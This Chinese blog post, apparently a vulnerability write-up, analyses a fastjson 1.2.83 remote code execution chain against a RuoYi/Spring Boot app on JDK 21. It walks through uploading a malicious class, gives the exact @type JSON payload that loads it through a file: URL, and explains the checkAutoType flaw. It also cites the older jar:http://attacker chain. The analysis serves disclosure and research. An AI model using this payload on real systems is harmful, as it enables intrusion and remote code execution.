用户名
密码
侧边栏壁纸
  • 累计撰写 2 篇文章
  • 累计收到 1 条评论

jar:http: 链变种应用,新思路打穿JDK9+

Nixel
2026-07-23 / 0 评论 / 4 阅读 / 正在检测是否收录...

fastjson 1.2.66-1.2.83 @JSONType探针 file: URL 远程代码执行漏洞
微信图片_20260722201708_36_11.png
经分析,fastjson 1.2.83 的 @JSONType 探针机制在校验 typeName 时,会无条件调用 ClassLoader.getResourceAsStream() 读取攻击者指定的本地文件。结合 file: 协议的单斜线语法绕过 JDK 高版本限制 + Spring Boot fat-jar 的 LaunchedURLClassLoader,可加载攻击者上传的恶意 class 文件并执行其静态初始化代码,最终实现远程代码执行。
复现环境:
OpenJDK 21.0.7
fastjson1.2.83
(RuoYi) v4.8.3 / Spring Boot 2.7.18
Ubuntu 20.04

  • 步骤1:访问若依登录页 → 登录系统

微信图片_20260722191500_30_11.png
微信图片_20260722191541_31_11.png

  • 步骤2:上传恶意 class 文件(通过后台"文件上传"功能)
    微信图片_20260722201518_33_11.png
    若依上传代码逻辑是:
    // RuoYi 通用上传
    String filePath = RuoYiConfig.getProfile() + "/upload/";
    // → "/home/ruoyi/uploadPath/upload/"
    file.transferTo(new File(filePath + originalFilename));
    所以推测 evil_poc.class 上传后落盘在:
    /home/ruoyi/uploadPath/upload/evil_poc.class
  • 步骤3:构造包含 @type 的 JSON 请求,触发 fastjson 反序列化
    微信图片_20260722201550_34_11.png
  • 步骤4: 执行,命令输出写入 /tmp/PWNED.txt
    RCE 确认:确认写入成功
    微信图片_20260722201620_35_11.png
    原理:
    缺陷位于 com.alibaba.fastjson.parser.ParserConfig.checkAutoType()(fastjson 1.2.66–1.2.83)
    微信图片_20260722201708_36_11.png
    // 步骤1:攻击者控制的 typeName 被拼接成 class 资源路径
    String resource = typeName.replace('.', '/') + ".class";
    // 步骤2:无条件调用 getResourceAsStream(autoType 关闭也执行!)
    if (defaultClassLoader != null) {

    is = defaultClassLoader.getResourceAsStream(resource);

    }
    // 步骤3:如果读取到的 class 文件含有 @JSONType 注解 → jsonType = true
    if (jsonType) {

    if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); }
    return clazz;  // 短路返回!跳过 deny-list、DataSource/RowSet 等所有安全检查

    }
    问题出在第二步没有校验 resource 是否包含协议前缀。攻击者传入:
    typeName = "file:.home.ruoyi.uploadPath.upload.evil_poc"
    fastjson 内部 replace('.', '/') 后得到:
    resource = "file:/home/ruoyi/uploadPath/upload/evil_poc.class"
    getResourceAsStream 将这段路径传给 ClassLoader,而 ClassLoader 在特定条件下会把它当绝对路径打开。
    为什么 file: 协议能绕过 JDK 9+ 的限制
    此前公开的 jar:http:// 链(2026 年 7 月由 @wouijvziqy 披露)在 JDK 9+ 上失效,原因是 :// 双斜线会导致 JDK 的 verify_unqualified_name 校验中出现空段:
    jar:http://attacker/probe!/Evil
    → 分段为 [jar:http:, 空, attacker, probe!, Evil]
    → JDK 9+ detect 空段 → 拒绝 defineClass → 攻击失败
    而 file: 协议(RFC 8089)支持 单斜线 语法 file:/absolute/path,天然不产生空段:
    file:/home/ruoyi/uploadPath/upload/evil_poc
    → 分段为 [file:, home, ruoyi, uploadPath, upload, evil_poc]
    → 全为非空 → JDK 9+ 通过 → defineClass 成功
    file: 是所有 URL 协议中唯一可以不使用 //authority 的协议,这不是编码技巧,而是协议语法层面的差异。
    class 内部特征:

     - this_class = "file:/home/ruoyi/uploadPath/upload/evil_poc"(单斜线!)
     - 类上有 @com.alibaba.fastjson.annotation.JSONType 注解
     - <clinit> 静态代码块中执行系统命令

    ② class 文件落盘到 /home/ruoyi/uploadPath/upload/evil_poc.class
    ③ 攻击者发送 JSON payload:
    POST /dev-api/login
    {"@type":"file:.home.ruoyi.uploadPath.upload.evil_poc","x":1}
    ④ fastjson.parseObject() 触发 checkAutoType:
    → resource = "file:/home/ruoyi/uploadPath/upload/evil_poc.class"
    → getResourceAsStream(resource)
    → LaunchedURLClassLoader 读取本地 class 文件
    → ASM ClassReader 扫描 → 检测到 @JSONType → jsonType = true
    → 信任短路 → defineClass(JDK 9+ 类名校验通过,无空段)
    → parseObject 创建实例 → 触发 → RCE
    与已知漏洞的关系
    本漏洞是 jar:http: 链(2026-07, @wouijvziqy PoC)在 JDK 9+ 上的变种利用。原链在 JDK 9+ 被堵死后,file: 协议是唯一能绕过类名空段校验的替代方案。核心利用路径相同,但传输方式从"远程拉取 jar"变成了"先本地落盘再 file: 读取"。

0

评论 (0)

取消